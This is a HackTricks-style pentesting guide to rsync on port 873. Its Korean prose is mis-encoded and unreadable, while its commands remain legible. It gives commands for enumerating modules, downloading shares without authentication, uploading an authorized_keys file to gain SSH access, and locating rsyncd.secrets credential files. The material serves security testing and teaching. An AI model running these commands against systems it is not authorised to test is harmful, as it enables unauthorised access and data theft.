873 - Pentesting Rsync
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
From wikipedia:
rsync๋ ์ปดํจํฐ์ ์ธ์ฅ ํ๋ ๋๋ผ์ด๋ธ ๊ฐ ๋ฐ ๋คํธ์ํฌํ๋ ์ปดํจํฐ ๊ฐ์ ํ์ผ์ ํจ์จ์ ์ผ๋ก ์ ์กํ๊ณ ๋๊ธฐํํ๊ธฐ ์ํ ์ ํธ๋ฆฌํฐ๋ก, ์์ ์๊ฐ๊ณผ ํ์ผ์ ํฌ๊ธฐ๋ฅผ ๋น๊ตํ์ฌ ์๋ํฉ๋๋ค.[3] ์ผ๋ฐ์ ์ผ๋ก ์ ๋์ค ๊ณ์ด ์ด์ ์ฒด์ ์์ ๋ฐ๊ฒฌ๋ฉ๋๋ค. rsync ์๊ณ ๋ฆฌ์ฆ์ ๋ธํ ์ธ์ฝ๋ฉ์ ์ผ์ข ์ด๋ฉฐ, ๋คํธ์ํฌ ์ฌ์ฉ๋์ ์ต์ํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. Zlib๋ ์ถ๊ฐ์ ์ธ ๋ฐ์ดํฐ ์์ถ์ ์ํด ์ฌ์ฉ๋ ์ ์์ผ๋ฉฐ,[3] SSH ๋๋ stunnel์ ๋ณด์์ ์ํด ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
์ด๊ฑฐ
๋ฐฐ๋ ๋ฐ ์๋ ํต์
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
๊ณต์ ํด๋ ์ด๊ฑฐํ๊ธฐ
Rsync ๋ชจ๋์ ๋น๋ฐ๋ฒํธ๋ก ๋ณดํธ๋ ์ ์๋ ๋๋ ํ ๋ฆฌ ๊ณต์ ๋ก ์ธ์๋ฉ๋๋ค. ์ฌ์ฉ ๊ฐ๋ฅํ ๋ชจ๋์ ์๋ณํ๊ณ ๋น๋ฐ๋ฒํธ๊ฐ ํ์ํ์ง ํ์ธํ๊ธฐ ์ํด ๋ค์ ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํฉ๋๋ค:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
์ผ๋ถ ๊ณต์ ๊ฐ ๋ชฉ๋ก์ ๋ํ๋์ง ์์ ์ ์์ผ๋ฉฐ, ์ด๋ ์จ๊ฒจ์ ธ ์์ ์ ์์ต๋๋ค. ๋ํ, ์ผ๋ถ ๊ณต์ ์ ์ ๊ทผํ๋ ๊ฒ์ ํน์ ์๊ฒฉ ์ฆ๋ช ์ ์ ํ๋ ์ ์์ผ๋ฉฐ, ์ด๋ โAccess Deniedโ ๋ฉ์์ง๋ก ํ์๋ฉ๋๋ค.
Brute Force
์๋ Rsync ์ฌ์ฉ
๋ชจ๋ ๋ชฉ๋ก์ ์ป์ ํ, ์์ ์ ์ธ์ฆ์ด ํ์ํ์ง ์ฌ๋ถ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋๋ค. ์ธ์ฆ ์์ด ๋ชฉ๋ก์ ์์ฑํ๊ณ ๊ณต์ ํด๋์์ ๋ก์ปฌ ๋๋ ํ ๋ฆฌ๋ก ํ์ผ์ ๋ณต์ฌํ๋ ๊ฒ์ ๋ค์์ ํตํด ์ํ๋ฉ๋๋ค:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
์ด ํ๋ก์ธ์ค๋ ์ฌ๊ท์ ์ผ๋ก ํ์ผ์ ์ ์กํ๋ฉฐ, ํ์ผ์ ์์ฑ๊ณผ ๊ถํ์ ์ ์งํฉ๋๋ค.
์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ๋ฉด ๊ณต์ ํด๋์์ ๋ชฉ๋ก์ ์์ฑํ๊ณ ๋ค์ด๋ก๋ํ ์ ์์ผ๋ฉฐ, ์ด๋ ๋น๋ฐ๋ฒํธ ์ ๋ ฅ ํ๋กฌํํธ๊ฐ ๋ํ๋ฉ๋๋ค:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
๋ด์ฉ์ ์ ๋ก๋ํ๋ ค๋ฉด, ์ ๊ทผ์ ์ํ authorized_keys ํ์ผ๊ณผ ๊ฐ์ ํ์ผ์ ์ฌ์ฉํ์ธ์:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
rsyncd ๊ตฌ์ฑ ํ์ผ์ ์ฐพ์ผ๋ ค๋ฉด ๋ค์์ ์คํํ์ญ์์ค:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
์ด ํ์ผ ๋ด์์ secrets file ๋งค๊ฐ๋ณ์๋ rsyncd ์ธ์ฆ์ ์ํ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๊ฐ ํฌํจ๋ ํ์ผ์ ๊ฐ๋ฆฌํฌ ์ ์์ต๋๋ค.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


